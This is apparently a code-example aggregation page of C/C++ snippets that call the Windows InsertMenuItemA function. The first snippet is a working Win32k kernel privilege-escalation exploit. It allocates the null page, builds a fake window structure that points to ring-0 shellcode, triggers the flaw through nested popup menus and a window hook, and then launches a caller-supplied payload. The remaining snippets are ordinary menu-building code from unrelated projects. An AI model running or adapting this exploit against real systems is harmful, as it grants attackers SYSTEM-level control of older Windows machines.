void Win32kNullPage(LPVOID lpPayload) {
	HWND hWnd;
	WNDCLASSA WndClass;
	LPBYTE promise_land = NULL;
	HMODULE hNtdll = NULL;
	HMODULE ntkrnl = NULL;
	NTSTATUS status;
	PULONG pSystemInfoBuffer = NULL;
	lZwQuerySystemInformation pZwQuerySystemInformation = NULL;
	ULONG    SystemInfoBufferSize = 0;
	char nt_name[256];
	PVOID nt_base;
	OSVERSIONINFOA VersionInformation;

	// Getting Windows version
	LogMessage("[*] Getting Windows version...");
	memset(&VersionInformation, 0, sizeof(OSVERSIONINFOA));
	VersionInformation.dwOSVersionInfoSize = 148;
	if (!GetVersionExA(&VersionInformation)) {
		LogMessage("[!] Failed to get windows version");
		return;
	}

#ifdef _M_X64
	if (VersionInformation.dwMajorVersion == 6 && VersionInformation.dwMinorVersion && VersionInformation.dwMinorVersion == 1) { // Ex: Windows 7 SP1
		LogMessage("[*] Windows 6.1 found...");
		OffsetWindows = 0x208;
	}
#else
	if (VersionInformation.dwMajorVersion == 6) {
		if (VersionInformation.dwMinorVersion && VersionInformation.dwMinorVersion == 1) { // Ex: Windows 7 SP1
			LogMessage("[*] Windows 6.1 found...");
			OffsetWindows = 0xf8;
		}
		else if (!VersionInformation.dwMinorVersion) {
			LogMessage("[*] Windows 6.0 found..."); // Ex: Windows 2008 R2
			OffsetWindows = 0xe0;
		}
		else {
			LogMessage("[!] Unsupported Windows 6.%d found, only 6.0 and 6.1 supported atm", VersionInformation.dwMinorVersion);
			return;
		}
	}
	else if (VersionInformation.dwMajorVersion == 5) {
		if (VersionInformation.dwMinorVersion && VersionInformation.dwMinorVersion == 1) { // Ex: Windows XP SP3
			LogMessage("[*] Windows 5.1 found...");
			OffsetWindows = 0xc8;
		}
		else if (VersionInformation.dwMinorVersion && VersionInformation.dwMinorVersion == 2) { // Ex: Windows 2003 SP2
			LogMessage("[*] Windows 5.2 found...");
			OffsetWindows = 0xd8;
		}
		else {
			LogMessage("[!] Unsupported Windows 5  found, only 5.1 and 5.2 supported atm");
			return;
		}
	}
#endif
	else {
		LogMessage("[!] Major Version %d found, not supported", VersionInformation.dwMajorVersion);
		return;
	}

	// Solve symbols
	LogMessage("[*] Solving symbols...");

	hNtdll = LoadLibraryA("ntdll");
	if (hNtdll == NULL) {
		LogMessage("[!] Failed to Load ntdll...");
		return;
	}

	pZwQuerySystemInformation = (lZwQuerySystemInformation)GetProcAddress(hNtdll, "ZwQuerySystemInformation");
	if (pZwQuerySystemInformation == NULL) {
		LogMessage("[!] Failed to solve ZwQuerySystemInformation");
		return;
	}

	pNtAllocateVirtualMemory = (lNtAllocateVirtualMemory)GetProcAddress(hNtdll, "NtAllocateVirtualMemory");
	if (pNtAllocateVirtualMemory == NULL) {
		LogMessage("[!] Failed to solve NtAllocateVirtualMemory");
		return;
	}

	LogMessage("[*] Requesting Kernel loaded modules...");

	status = pZwQuerySystemInformation(11, &SystemInfoBufferSize, 0, &SystemInfoBufferSize);

	if (SystemInfoBufferSize == 0) {
		LogMessage("[!] Requesting pZwQuerySystemInformation required length failed");
		return;
	}
	else {
		LogMessage("[*] pZwQuerySystemInformation required length %d", SystemInfoBufferSize);
	}

	pSystemInfoBuffer = (PULONG)LocalAlloc(LMEM_ZEROINIT, SystemInfoBufferSize);
	if (pSystemInfoBuffer == NULL) {
		LogMessage("[!] Allocation for SystemInfo failed");
		return;
	}

	status = pZwQuerySystemInformation(11, pSystemInfoBuffer, SystemInfoBufferSize, &SystemInfoBufferSize);

	if (status != STATUS_SUCCESS) {
		LogMessage("[!] Requesting kernel modules through ZwQuerySystemInformation failed");
		return;
	}


	LogMessage("[*] Parsing SYSTEM_INFO...");

	SYSTEM_MODULE_INFORMATION *smi = (SYSTEM_MODULE_INFORMATION *)pSystemInfoBuffer;

	LogMessage("[*] %d Kernel modules found\n", smi->ModulesCount);

	memset(nt_name, 0, 256);

	int i = 0;
	while (i < smi->ModulesCount) {
		SYSTEM_MODULE *sm = (SYSTEM_MODULE *)(smi->Modules + i);
		LogMessage("[*] Checking module %s", sm->Name);
		if (strstr((char *)sm->Name, ".exe")) {
			char *start = strstr((char *)sm->Name, "nt");
			if (start != NULL) {
				nt_base = sm->ImageBaseAddress;
				strncpy_s(nt_name, 256, start, _TRUNCATE);
				break;
			}
		}
		i++;
	}

	if (nt_name == NULL) {
		LogMessage("[!] nt not found");
		return;
	}
	else {
		LogMessage("[*] Good! nt found as %s at 0x%08x", nt_name, nt_base);
	}

	ntkrnl = LoadLibraryA(nt_name);

	LogMessage("[*] %s loaded in userspace at: %08x\n", nt_name, ntkrnl);

	pPsLookupProcessByProcessId = (lPsLookupProcessByProcessId)GetProcAddress(ntkrnl, "PsLookupProcessByProcessId");

	if (pPsLookupProcessByProcessId == NULL) {
		LogMessage("[!] Failed to solve PsLookupProcessByProcessId\n");
		return;
	}

#ifdef _M_X64
	pPsLookupProcessByProcessId = (lPsLookupProcessByProcessId)((QWORD)nt_base + ((QWORD)pPsLookupProcessByProcessId - (QWORD)ntkrnl));
	LogMessage("[*] pPsLookupProcessByProcessId in kernel: %016llx\n", pPsLookupProcessByProcessId);
#else
	pPsLookupProcessByProcessId = (lPsLookupProcessByProcessId)((DWORD)nt_base + ((DWORD)pPsLookupProcessByProcessId - (DWORD)ntkrnl));
	LogMessage("[*] pPsLookupProcessByProcessId in kernel: %08x\n", pPsLookupProcessByProcessId);
#endif

	MyProcessId = GetCurrentProcessId();

	// Register Class
	LogMessage("[*] Registering class...");

	memset(&WndClass, 0, sizeof(WNDCLASSA));
	WndClass.lpfnWndProc = WndProc; // Called with CallWindowProc => http://msdn.microsoft.com/en-us/library/windows/desktop/ms633571(v=vs.85).aspx
	WndClass.lpszClassName = "woqunimalegebi";

	if (RegisterClassA(&WndClass) == 0) {
		LogMessage("[!] RegisterClassA failed ");
		return;
	}

	// Create Window
	LogMessage("[*] Creating window...");
	hWnd = CreateWindowExA(0, "woqunimalegebi", NULL, 0, -1, -1, 0, 0, NULL, NULL, NULL, NULL);

	if (hWnd == NULL) {
		LogMessage("[!] CreateWindowExA failed");
		return;
	}

	// Making everything ready for exploitation...

	LogMessage("[*] Allocating null page...");
#ifdef _M_X64
	ULONGLONG base_address = 0x00000000fffffffb;
#else
	DWORD base_address = 1;
#endif
	SIZE_T region_size = 0x1000;
	ULONG zero_bits = 0;
	HANDLE current_process = NULL;

	current_process = GetCurrentProcess();

	if (pNtAllocateVirtualMemory(current_process, (LPVOID*)(&base_address), 0, &region_size, (MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN), PAGE_EXECUTE_READWRITE) != STATUS_SUCCESS) {
		LogMessage("[!] Failed to allocate null page");
		return;
	}

	LogMessage("[*] Getting PtiCurrent...");

#ifdef _M_X64
	ULONGLONG pti = MyPtiCurrent();
#else
	DWORD pti = MyPtiCurrent();
#endif

	if (pti == 0) {
		LoadLibrary("user32.dll");
		LoadLibrary("gdi32.dll");
		pti = MyPtiCurrent();
	}

	if (pti == 0) {
		LogMessage("[!] Filed to get PtiCurrent");
		return;
	}
	else {
#ifdef _M_X64
		LogMessage("[*] Good! pti 0x%016llx", pti);
#else
		LogMessage("[*] Good! pti 0x%08x", pti);
#endif
	}

	LogMessage("[*] Creating a fake structure at NULL...");

#ifdef _M_X64
	void *test = NULL;
	(QWORD)test = 0x10000000B;
	*((PQWORD)test) = pti;

	/* win32k!tagWND->bServerSideWindowProc = TRUE */
	(QWORD)test = 0x100000025;
	*((PBYTE)test) = 4;

	/* win32k!tagWND->lpfnWndProc = &shellcode_ring0 */
	(QWORD)test = 0x10000008B;
	*((PQWORD)test) = &shellcode_ring0;
#else
	void *test = promise_land + 3;
	/* We need to save this check, otherwise unmapped memory will be dereferenced (blue screen)
	.text:BF8B93F4 02C mov     edi, _gptiCurrent
	.text:BF8B93FA 02C cmp     edi, [esi + 8];
	.text:BF8B93FD 02C jz      loc_BF8B
	*/
	*(LPDWORD)test = pti;

	*((LPBYTE)(promise_land + 0x11)) = 0x4;

	test = promise_land + 0x5b;
	*(LPDWORD)test = (DWORD)shellcode_ring0;
#endif

	// Exploit!

	LogMessage("[*] Triggering vulnerability...");
	HMENU MenuOne = CreatePopupMenu();
	if (MenuOne == NULL) {
		LogMessage("[!] First CreatePopupMenu failed");
		return;
	}

	MENUITEMINFOA MenuOneInfo;
	memset(&MenuOneInfo, 0, sizeof(MENUITEMINFOA));
	MenuOneInfo.cbSize = sizeof(MENUITEMINFOA);
	MenuOneInfo.fMask = MIIM_STRING;

	if (InsertMenuItemA(MenuOne, 0, TRUE, &MenuOneInfo) != TRUE) {
		LogMessage("[!] First InsertMenuItemA failed");
		DestroyMenu(MenuOne);
		return;
	}

	HMENU MenuTwo = CreatePopupMenu();
	if (MenuTwo == NULL) {
		LogMessage("[!] Second CreatePopupMenu failed");
		DestroyMenu(MenuOne);
		return;
	}

	MENUITEMINFOA MenuTwoInfo;
	memset(&MenuTwoInfo, 0, sizeof(MENUITEMINFOA));
	MenuTwoInfo.cbSize = sizeof(MENUITEMINFOA);
	MenuTwoInfo.fMask = (MIIM_STRING | MIIM_SUBMENU);
	MenuTwoInfo.dwTypeData = "";
	MenuTwoInfo.cch = 1;
	MenuTwoInfo.hSubMenu = MenuOne;
	if (InsertMenuItemA(MenuTwo, 0, TRUE, &MenuTwoInfo) != TRUE) {
		LogMessage("[!] Second InsertMenuItemA failed");
		DestroyMenu(MenuTwo);
		DestroyMenu(MenuOne);
		return;
	}

	if (SetWindowsHookExA(WH_CALLWNDPROC, HookCallback, NULL, GetCurrentThreadId()) == NULL) {
		LogMessage("[!] SetWindowsHookExA failed :-(\n");
		DestroyMenu(MenuTwo);
		DestroyMenu(MenuOne);
		return;
	}

	// 'crash' it!
	TrackPopupMenu(MenuTwo, 0, -10000, -10000, 0, hWnd, NULL);

	// If everything worked process should be privileges at this point
	LogMessage("[!] Executing payload...");
	CreateThread(0, 0, ExecutePayload, lpPayload, 0, NULL);
	return;
}
Exemple #2
0
/**************************************************************************
*  ICM_InsertItem()
*/
void WINAPI _InsertMenuItem (
	HMENU hmenu,
	UINT indexMenu,
	BOOL fByPosition,
	UINT wID,
	UINT fType,
	LPSTR dwTypeData,
	UINT fState)
{
	MENUITEMINFOA	mii;

	ZeroMemory(&mii, sizeof(mii));
	mii.cbSize = sizeof(mii);
	if (fType == MFT_SEPARATOR)
	{
	  mii.fMask = MIIM_ID | MIIM_TYPE;
	}
	else
	{
	  mii.fMask = MIIM_ID | MIIM_TYPE | MIIM_STATE;
	  mii.dwTypeData = dwTypeData;
	  mii.fState = fState;
	}
	mii.wID = wID;
	mii.fType = fType;
	InsertMenuItemA( hmenu, indexMenu, fByPosition, &mii);
}
Exemple #3
0
// must be called after DecideMenuItemInfo()
void BuildMRU(TSlotIPC *pct, MENUITEMINFOA &mii, TEnumData *lParam)
{
	if (pct->MRU > 0) {
		lParam->Self->RecentCount++;
		// lParam->Self == pointer to object data
		InsertMenuItemA(lParam->Self->hRecentMenu, 0xFFFFFFFF, true, &mii);
	}
}
void PopupMenu::attachToMenuBar(GuiCanvas *owner, S32 pos, const char *title)
{
   if(owner == NULL || isAttachedToMenuBar())
      return;

   // This is set for sub-menus in the onAttachToMenuBar() callback
   mCanvas = owner;

   Win32Window *pWindow = dynamic_cast<Win32Window*>(owner->getPlatformWindow());
   if(pWindow == NULL) 
      return;

   HMENU hWindowMenu = pWindow->getMenuHandle();
   if(hWindowMenu == NULL)
   {
      hWindowMenu = CreateMenu();
      if(hWindowMenu)
      {
         pWindow->setMenuHandle( hWindowMenu);
      }
   }

   MENUITEMINFOA mii;

   mii.cbSize = sizeof(MENUITEMINFOA);

   mii.fMask = MIIM_STRING|MIIM_DATA;
   mii.dwTypeData = (LPSTR)title;
   mii.fMask |= MIIM_ID;
   mii.wID = mData->mMenuID;
   mii.fMask |= MIIM_SUBMENU;
   mii.hSubMenu = mData->mMenu;
   mii.dwItemData = (ULONG_PTR)this;

   InsertMenuItemA(hWindowMenu, pos, TRUE, &mii);

   HWND hWindow = pWindow->getHWND();
   DrawMenuBar(hWindow);

   pWindow->addAccelerators(mData->mAccelerators);

   // Add accelerators for sub menus
   for(SimSet::iterator i = mSubmenus->begin();i != mSubmenus->end();++i)
   {
      PopupMenu *submenu = dynamic_cast<PopupMenu *>(*i);
      if(submenu == NULL)
         continue;

      pWindow->addAccelerators(submenu->mData->mAccelerators);
   }

   onAttachToMenuBar(owner, pos, title);
}
S32 PopupMenu::insertItem(S32 pos, const char *title, const char* accelerator)
{
   Win32Window *pWindow = mCanvas ? dynamic_cast<Win32Window*>(mCanvas->getPlatformWindow()) : NULL;
   bool isAttached = isAttachedToMenuBar();
   if(isAttached && pWindow == NULL)
      return -1;

   MENUITEMINFOA mi;
   mi.cbSize = sizeof(mi);
   mi.fMask = MIIM_ID|MIIM_TYPE;
   mi.wID = (mData->mMenuID * PlatformPopupMenuData::PopupMenuIDRange) + mData->mLastID + 1;
   mData->mLastID++;
   if(title && *title)
      mi.fType = MFT_STRING;
   else
      mi.fType = MFT_SEPARATOR;
   
   char buf[1024];
   if(accelerator && *accelerator)
   {
      dSprintf(buf, sizeof(buf), "%s\t%s", title, accelerator);

      if(isAttached)
         pWindow->removeAccelerators(mData->mAccelerators);

      // Build entry for accelerator table
      EventDescriptor accelDesc;
      if(ActionMap::createEventDescriptor(accelerator, &accelDesc))
         mData->insertAccelerator(accelDesc, mi.wID);
      else
         Con::errorf("PopupMenu::insertItem - Could not create event descriptor for accelerator \"%s\"", accelerator);

      if(isAttached)
         pWindow->addAccelerators(mData->mAccelerators);
   }
   else
      dSprintf(buf, sizeof(buf), "%s", title);

   mi.dwTypeData = (LPSTR)buf;

   if(InsertMenuItemA(mData->mMenu, pos, TRUE, &mi))
   {
      if(isAttached)
      {
         HWND hWindow = pWindow->getHWND();
         DrawMenuBar(hWindow);
      }
      return mi.wID;
   }

   return -1;
}
Exemple #6
0
static void BuildMenuGroupTree(TGroupNode *p, TEnumData *lParam, HMENU hLastMenu)
{
	MENUITEMINFOA mii = { 0 };
	mii.cbSize = sizeof(mii);
	mii.fMask = MIIM_ID | MIIM_DATA | MIIM_TYPE | MIIM_SUBMENU;

	// go thru each group and create a menu for it adding submenus too.
	while (p != NULL) {
		mii.hSubMenu = CreatePopupMenu();
		if (p->Left != NULL)
			BuildMenuGroupTree(p->Left, lParam, mii.hSubMenu);
		p->hMenu = mii.hSubMenu;
		DecideMenuItemInfo(NULL, p, mii, lParam);
		InsertMenuItemA(hLastMenu, 0xFFFFFFFF, true, &mii);
		p = p->Right;
	}
}
// New version of above for use by MenuBar class. Do not use yet.
void PopupMenu::attachToMenuBar(GuiCanvas *owner, S32 pos)
{
   Win32Window *pWindow = dynamic_cast<Win32Window*>(owner->getPlatformWindow());
   if(pWindow == NULL) 
      return;

	//When playing a journal, the system menu is not actually shown
	if (Journal::IsPlaying())
	{
		onAttachToMenuBar(owner, pos, mBarTitle);
		return;
	}

   HMENU hWindowMenu = pWindow->getMenuHandle();

   MENUITEMINFOA mii;

   mii.cbSize = sizeof(MENUITEMINFOA);

   mii.fMask = MIIM_STRING|MIIM_DATA;
   mii.dwTypeData = (LPSTR)mBarTitle;
   mii.fMask |= MIIM_ID;
   mii.wID = mData->mMenuID;
   mii.fMask |= MIIM_SUBMENU;
   mii.hSubMenu = mData->mMenu;
   mii.dwItemData = (ULONG_PTR)this;

   InsertMenuItemA(hWindowMenu, pos, TRUE, &mii);

   pWindow->addAccelerators(mData->mAccelerators);

   // Add accelerators for sub menus (have to do this here as it's platform specific)
   for(SimSet::iterator i = mSubmenus->begin();i != mSubmenus->end();++i)
   {
      PopupMenu *submenu = dynamic_cast<PopupMenu *>(*i);
      if(submenu == NULL)
         continue;

      pWindow->addAccelerators(submenu->mData->mAccelerators);
   }

   onAttachToMenuBar(owner, pos, mBarTitle);
}
S32 PopupMenu::insertSubMenu(S32 pos, const char *title, PopupMenu *submenu)
{
   Win32Window *pWindow = mCanvas ? dynamic_cast<Win32Window*>(mCanvas->getPlatformWindow()) : NULL;
   bool isAttached = isAttachedToMenuBar();
   if(isAttached && pWindow == NULL)
      return -1;

   for(S32 i = 0;i < mSubmenus->size();i++)
   {
      if(submenu == (*mSubmenus)[i])
      {
         Con::errorf("PopupMenu::insertSubMenu - Attempting to add submenu twice");
         return -1;
      }
   }

   MENUITEMINFOA mi;
   mi.cbSize = sizeof(mi);
   mi.fMask = MIIM_ID|MIIM_TYPE|MIIM_SUBMENU|MIIM_DATA;
   mi.wID = (mData->mMenuID * PlatformPopupMenuData::PopupMenuIDRange) + mData->mLastID + 1;
   if(title && *title)
      mi.fType = MFT_STRING;
   else
      mi.fType = MFT_SEPARATOR;
   mi.dwTypeData = (LPSTR)title;
   mi.hSubMenu = submenu->mData->mMenu;
   mi.dwItemData = (ULONG_PTR)submenu;
   if(InsertMenuItemA(mData->mMenu, pos, TRUE, &mi))
   {
      mSubmenus->addObject(submenu);

      if(isAttached)
      {
         pWindow->addAccelerators(submenu->mData->mAccelerators);

         HWND hWindow = pWindow->getHWND();
         DrawMenuBar(hWindow);
      }
      return mi.wID;
   }

   return -1;
}
Exemple #9
0
BOOL InsertMenuItemUTF8( HMENU hMenu,UINT uItem, BOOL fByPosition, LPMENUITEMINFO lpmii)
{
  if (lpmii && (lpmii->fMask & MIIM_TYPE) && (lpmii->fType&(MFT_SEPARATOR|MFT_STRING|MFT_BITMAP)) == MFT_STRING && lpmii->dwTypeData && WDL_HasUTF8(lpmii->dwTypeData) && GetVersion()<0x80000000)
  {
    BOOL rv;
    MENUITEMINFOW tmp = *(MENUITEMINFOW*)lpmii;
    MBTOWIDE(wbuf,lpmii->dwTypeData);
    if (wbuf_ok)
    {

      tmp.cbSize=sizeof(tmp);
      tmp.dwTypeData = wbuf;
      rv=InsertMenuItemW(hMenu,uItem,fByPosition,&tmp);

      MBTOWIDE_FREE(wbuf);
      return rv;
    }
    MBTOWIDE_FREE(wbuf);
  }
  return InsertMenuItemA(hMenu,uItem,fByPosition,lpmii);
}
Exemple #10
0
void VDAppendMenuSeparatorW32(HMENU hmenu) {
	int pos = GetMenuItemCount(hmenu);
	if (pos < 0)
		return;

	if (VDIsWindowsNT()) {
		MENUITEMINFOW mmiW;
		vdfastfixedvector<wchar_t, 256> bufW;

		mmiW.cbSize		= MENUITEMINFO_SIZE_VERSION_400W;
		mmiW.fMask		= MIIM_TYPE;
		mmiW.fType		= MFT_SEPARATOR;

		InsertMenuItemW(hmenu, pos, TRUE, &mmiW);
	} else {
		MENUITEMINFOA mmiA;

		mmiA.cbSize		= MENUITEMINFO_SIZE_VERSION_400A;
		mmiA.fMask		= MIIM_TYPE;
		mmiA.fType		= MFT_SEPARATOR;

		InsertMenuItemA(hmenu, pos, TRUE, &mmiA);
	}
}
Exemple #11
0
/* MAKE_EXPORT InsertMenuItemW_new=InsertMenuItemW */
BOOL WINAPI InsertMenuItemW_new(HMENU hMenu, UINT uItem, BOOL fByPosition, LPCMENUITEMINFO lpmii)
{
	MENUITEMINFOA mii;
	BOOL result;
	LPSTR lpTypeData;

	if(IsBadReadPtr(lpmii, sizeof(MENUITEMINFOW)))
		return FALSE;

	memcpy(&mii, lpmii, sizeof(MENUITEMINFOA));

	lpTypeData = NULL;

	STACK_WtoA(lpmii->dwTypeData, lpTypeData);

	mii.dwTypeData = lpTypeData;

	result = InsertMenuItemA(hMenu, uItem, fByPosition, lpmii);

	if(!result)
		return FALSE;

	return TRUE;
}
Exemple #12
0
static void BuildMenus(TEnumData *lParam)
{
	LPSTR Token;
	TMenuDrawInfo *psd;

	HANDLE hDllHeap = lParam->Self->hDllHeap;
	HMENU hBaseMenu = lParam->Self->hRootMenu;

	// build an in memory tree of the groups
	TGroupNodeList j = { 0, 0 };
	TSlotIPC *pg = lParam->ipch->GroupsBegin;
	while (pg != NULL) {
		if (pg->cbSize != sizeof(TSlotIPC) || pg->fType != REQUEST_GROUPS) 
			break;

		UINT Depth = 0;
		TGroupNode *p = j.First; // start at root again
		// get the group
		Token = strtok(LPSTR(pg) + sizeof(TSlotIPC), "\\");
		while (Token != NULL) {
			UINT Hash = murmur_hash(Token);
			// if the (sub)group doesn't exist, create it.
			TGroupNode *q = FindGroupNode(p, Hash, Depth);
			if (q == NULL) {
				q = AllocGroupNode(&j, p, Depth);
				q->Depth = Depth;
				// this is the hash of this group node, but it can be anywhere
				// i.e. Foo\Foo this is because each node has a different depth
				// trouble is contacts don't come with depths!
				q->Hash = Hash;
				// don't assume that pg->hGroup's hash is valid for this token
				// since it maybe Miranda\Blah\Blah and we have created the first node
				// which maybe Miranda, thus giving the wrong hash
				// since "Miranda" can be a group of it's own and a full path
				q->cchGroup = lstrlenA(Token);
				q->szGroup = (LPSTR)HeapAlloc(hDllHeap, 0, q->cchGroup + 1);
				lstrcpyA(q->szGroup, Token);
				q->dwItems = 0;
			}
			p = q;
			Depth++;
			Token = strtok(NULL, "\\");
		}
		pg = pg->Next;
	}

	// build the menus inserting into hGroupMenu which will be a submenu of
	// the instance menu item. e.g. Miranda -> [Groups ->] contacts
	HMENU hGroupMenu = CreatePopupMenu();

	// allocate MRU menu, this will be associated with the higher up menu
	// so doesn't need to be freed (unless theres no MRUs items attached)
	// This menu is per process but the handle is stored globally (like a stack)
	lParam->Self->hRecentMenu = CreatePopupMenu();
	lParam->Self->RecentCount = 0;
	// create group menus only if they exist!
	if (lParam->ipch->GroupsBegin != NULL) {
		BuildMenuGroupTree(j.First, lParam, hGroupMenu);
		// add contacts that have a group somewhere
		BuildContactTree(j.First, lParam);
	}
	
	MENUITEMINFOA mii = { 0 };
	mii.cbSize = sizeof(mii);
	mii.fMask = MIIM_ID | MIIM_TYPE | MIIM_DATA;
	// add all the contacts that have no group (which maybe all of them)
	pg = lParam->ipch->ContactsBegin;
	while (pg != NULL) {
		if (pg->cbSize != sizeof(TSlotIPC) || pg->fType != REQUEST_CONTACTS) 
			break;
		if (pg->hGroup == 0) {
			DecideMenuItemInfo(pg, NULL, mii, lParam);
			BuildMRU(pg, mii, lParam);
			InsertMenuItemA(hGroupMenu, 0xFFFFFFFF, true, &mii);
		} 
		pg = pg->Next;
	}

	// insert MRU menu as a submenu of the contact menu only if
	// the MRU list has been created, the menu popup will be deleted by itself
	if (lParam->Self->RecentCount > 0) {
		// insert seperator and 'clear list' menu
		mii.fType = MFT_SEPARATOR;
		mii.fMask = MIIM_TYPE;
		InsertMenuItemA(lParam->Self->hRecentMenu, 0xFFFFFFFF, true, &mii);

		// insert 'clear MRU' item and setup callback
		mii.fMask = MIIM_TYPE | MIIM_ID | MIIM_DATA;
		mii.wID = lParam->idCmdFirst;
		lParam->idCmdFirst++;
		mii.fType = MFT_STRING;
		mii.dwTypeData = lParam->ipch->ClearEntries; // "Clear entries"
		// allocate menu substructure
		psd = (TMenuDrawInfo*)HeapAlloc(hDllHeap, 0, sizeof(TMenuDrawInfo));
		psd->fTypes = dtCommand;
		psd->MenuCommandCallback = &ClearMRUIPC;
		psd->wID = mii.wID;
		// this is needed because there is a clear list command per each process.
		psd->pid = lParam->pid;
		mii.dwItemData = (LPARAM)psd;
		InsertMenuItemA(lParam->Self->hRecentMenu, 0xFFFFFFFF, true, &mii);

		// insert MRU submenu into group menu (with) ownerdraw support as needed
		psd = (TMenuDrawInfo*)HeapAlloc(hDllHeap, 0, sizeof(TMenuDrawInfo));
		psd->szProfile = "MRU";
		psd->fTypes = dtGroup;
		// the IPC string pointer wont be around forever, must make a copy
		psd->cch = (int)strlen(lParam->ipch->MRUMenuName);
		psd->szText = (LPSTR)HeapAlloc(hDllHeap, 0, psd->cch + 1);
		lstrcpynA(psd->szText, lParam->ipch->MRUMenuName, sizeof(lParam->ipch->MRUMenuName) - 1);

		mii.dwItemData = (LPARAM)psd;
		if (lParam->bOwnerDrawSupported && lParam->bShouldOwnerDraw) {
			mii.fType = MFT_OWNERDRAW;
			mii.dwTypeData = (LPSTR)psd;
		}
		else mii.dwTypeData = lParam->ipch->MRUMenuName; // 'Recent';

		mii.wID = lParam->idCmdFirst;
		lParam->idCmdFirst++;
		mii.fMask = MIIM_TYPE | MIIM_SUBMENU | MIIM_DATA | MIIM_ID;
		mii.hSubMenu = lParam->Self->hRecentMenu;
		InsertMenuItemA(hGroupMenu, 0, true, &mii);
	}
	else {
		// no items were attached to the MRU, delete the MRU menu
		DestroyMenu(lParam->Self->hRecentMenu);
		lParam->Self->hRecentMenu = 0;
	}

	// allocate display info/memory for "Miranda" string

	mii.cbSize = sizeof(mii);
	if (bIsVistaPlus)
		mii.fMask = MIIM_ID | MIIM_DATA | MIIM_FTYPE | MIIM_SUBMENU | MIIM_STRING | MIIM_BITMAP;
	else
		mii.fMask = MIIM_ID | MIIM_DATA | MIIM_TYPE | MIIM_SUBMENU;

	mii.hSubMenu = hGroupMenu;

	// by default, the menu will have space for icons and checkmarks (on Vista+) && we don't need this
	RemoveCheckmarkSpace(hGroupMenu);

	psd = (TMenuDrawInfo*)HeapAlloc(hDllHeap, 0, sizeof(TMenuDrawInfo));
	psd->cch = (int)strlen(lParam->ipch->MirandaName);
	psd->szText = (LPSTR)HeapAlloc(hDllHeap, 0, psd->cch + 1);
	lstrcpynA(psd->szText, lParam->ipch->MirandaName, sizeof(lParam->ipch->MirandaName) - 1);
	// there may not be a profile name
	pg = lParam->ipch->DataPtr;
	psd->szProfile = NULL;
	if (pg != NULL && pg->Status == STATUS_PROFILENAME) {
		psd->szProfile = (LPSTR)HeapAlloc(hDllHeap, 0, pg->cbStrSection);
		lstrcpyA(psd->szProfile, LPSTR(UINT_PTR(pg) + sizeof(TSlotIPC)));
	}

	// owner draw menus need ID's
	mii.wID = lParam->idCmdFirst;
	lParam->idCmdFirst++;
	psd->fTypes = dtEntry;
	psd->wID = mii.wID;
	psd->hContact = 0;

	// get Miranda's icon or bitmap
	UINT c = lParam->Self->ProtoIconsCount;
	TSlotProtoIcons *pp = lParam->Self->ProtoIcons;
	while (c > 0) {
		c--;
		if (pp[c].pid == lParam->pid && pp[c].hProto == 0) {
			// either of these can be 0
			psd->hStatusIcon = pp[c].hIcons[0];
			mii.hbmpItem = pp[c].hBitmaps[0];
			break;
		}
	}
	mii.dwItemData = (UINT_PTR)psd;
	if (lParam->bOwnerDrawSupported && lParam->bShouldOwnerDraw) {
		mii.fType = MFT_OWNERDRAW;
		mii.dwTypeData = (LPSTR)psd;
	}
	else {
		mii.fType = MFT_STRING;
		mii.dwTypeData = lParam->ipch->MirandaName;
		mii.cch = sizeof(lParam->ipch->MirandaName) - 1;
	}
	// add it all
	InsertMenuItemA(hBaseMenu, 0, true, &mii);
	// free the group tree
	FreeGroupTreeAndEmptyGroups(hGroupMenu, NULL, j.First);
}
Exemple #13
0
void BuildContactTree(TGroupNode *group, TEnumData *lParam)
{
	// set up the menu item
	MENUITEMINFOA mii = { sizeof(mii) };
	mii.fMask = MIIM_ID | MIIM_TYPE | MIIM_DATA;

	// go thru all the contacts
	TSlotIPC *pct = lParam->ipch->ContactsBegin;
	while (pct != NULL && pct->cbSize == sizeof(TSlotIPC) && pct->fType == REQUEST_CONTACTS) {
		if (pct->hGroup != 0) {
			// at the } of the slot header is the contact's display name
			// && after a double NULL char there is the group string, which has the full path of the group
			// this must be tokenised at '\' and we must walk the in memory group tree til we find our group
			// this is faster than the old version since we only ever walk one or at most two levels of the tree
			// per tokenised section, and it doesn't matter if two levels use the same group name (which is valid)
			// as the tokens processed is equatable to depth of the tree

			char *sz = strtok(LPSTR(UINT_PTR(pct) + sizeof(TSlotIPC) + UINT_PTR(pct->cbStrSection) + 1), "\\");
			// restore the root
			TGroupNode *pg = group;
			int Depth = 0;
			while (sz != NULL) {
				UINT Hash = murmur_hash(sz);
				// find this node within
				while (pg != NULL) {
					// does this node have the right hash and the right depth?
					if (Hash == pg->Hash && Depth == pg->Depth) 
						break;
					// each node may have a left pointer going to a sub tree
					// the path syntax doesn't know if a group is a group at the same level
					// or a nested one, which means the search node can be anywhere
					TGroupNode *px = pg->Left;
					if (px != NULL) {
						// keep searching this level
						while (px != NULL) {
							if (Hash == px->Hash && Depth == px->Depth) {
								// found the node we're looking for at the next level to pg, px is now pq for next time
								pg = px;
								goto grouploop;
							}
							px = px->Right;
						}
					}
					pg = pg->Right;
				}
grouploop:
				Depth++;
				// process next token
				sz = strtok(NULL, "\\");
			}
			// tokenisation finished, if pg != NULL  the group is found
			if (pg != NULL) {
				DecideMenuItemInfo(pct, NULL, mii, lParam);
				BuildMRU(pct, mii, lParam);
				InsertMenuItemA(pg->hMenu, 0xFFFFFFFF, true, &mii);
				pg->dwItems++;
			}
		} 
		pct = pct->Next;
	}
}
Exemple #14
0
void CreateMenus()
{
	// Create our menu objects.
	g_hMenu = CreateMenu();
	HMENU hMenuSub_file = CreatePopupMenu();
	HMENU hMenuSub_edit = CreatePopupMenu();
	HMENU hMenuSub_tools = CreatePopupMenu();
	HMENU hMenuSub_help = CreatePopupMenu();
	g_hMenuSub_context = CreatePopupMenu();

	// FILE MENU
	MENUITEMINFOA mii = { NULL };
	mii.cbSize = sizeof( MENUITEMINFOA );
	mii.fMask = MIIM_TYPE | MIIM_ID | MIIM_STATE;
	mii.fType = MFT_STRING;
	mii.dwTypeData = "&Open...\tCtrl+O";
	mii.cch = 15;
	mii.wID = MENU_OPEN;
	InsertMenuItemA( hMenuSub_file, 0, TRUE, &mii );

	mii.fType = MFT_SEPARATOR;
	InsertMenuItemA( hMenuSub_file, 1, TRUE, &mii );

	mii.fType = MFT_STRING;
	mii.dwTypeData = "Save All...\tCtrl+S";
	mii.cch = 18;
	mii.wID = MENU_SAVE_ALL;
	mii.fState = MFS_DISABLED;
	InsertMenuItemA( hMenuSub_file, 2, TRUE, &mii );

